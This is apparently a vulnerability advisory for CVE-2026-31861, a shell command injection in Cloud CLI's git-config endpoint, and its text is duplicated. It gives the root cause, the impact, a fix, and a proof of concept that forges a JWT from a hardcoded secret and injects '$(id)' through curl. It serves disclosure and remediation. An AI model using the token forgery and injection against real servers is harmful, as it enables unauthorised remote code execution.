CVE-2026-31861

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

Shell Command Injection in User Git Config Endpoint

| Field | Value | |-------|-------| | Severity | High | | CVSS 3.1 | 8.8 (High) — when chained with VULN-01 | | CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | | Attack Vector | Network | | Authentication | JWT required (bypassable via VULN-01) | | Affected Files | server/routes/user.js (lines 58-59) |

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

• `malicious_command` — backtick execution
• $(malicious_command) — subshell execution

Impact

• Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
• The git config --global vector modifies the server-wide git configuration, affecting all git operations
• When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
• Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"[email protected]"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

Shell Command Injection in User Git Config Endpoint

| Field | Value | |-------|-------| | Severity | High | | CVSS 3.1 | 8.8 (High) — when chained with VULN-01 | | CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | | Attack Vector | Network | | Authentication | JWT required (bypassable via VULN-01) | | Affected Files | server/routes/user.js (lines 58-59) |

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

• `malicious_command` — backtick execution
• $(malicious_command) — subshell execution

Impact

• Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
• The git config --global vector modifies the server-wide git configuration, affecting all git operations
• When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
• Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"[email protected]"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);